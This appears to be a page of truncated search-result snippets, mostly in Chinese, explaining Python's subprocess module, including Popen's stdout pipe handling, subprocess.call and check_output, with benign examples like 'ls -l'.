subprocess.PIPE是-1,为什么Popen这个类的stdout变成了什么对象,可以用readline方法呢 打印type可以知道Popen对象的stdout的类型是file,我们看看subprocess里做了什么操作。 我们看看Popen的init方法(python 2.7.8) stdout传入_get_handles函数准换出(p2cread, p2cwrite,c2pread, c2pwrite,errread, errwrite) 点击(此处...

subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False) 语义: 运行由args指定的命令,直到命令结束后,返回 返回码的属性值。 上面的参数是最常见的方式,下面是示例代码: >>> >>> subprocess.call(["ls", "-l"]) 0 >>> subprocess.call("exit 1", shell=True) 1 WARNING: ...
1.使用subprocess模块 以下函数是调用子进程的推荐方法,所有使用场景它们都能处理。也可用Popen以满足更高级的使用场景 subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, timeout=None) 运行args描述的命令,等待命令完成后返回returncode属性。
2.3 subprocess.check_output() 和subprocess.check_call() 类似,但是其返回的结果是执行命令的输出,而非返回0/1 其实现方式 def check_output(*popenargs, **kwargs): process = Popen(*popenargs, stdout=PIPE, **kwargs) output, unused_err = process.communicate() ...
These processes can be anything from GUI applications to the shell. The parent-child relationship of processes is where the sub in the subprocess name comes from. When you use subprocess, Python is the parent that creates a new child process. What that new child process is, is up to you....
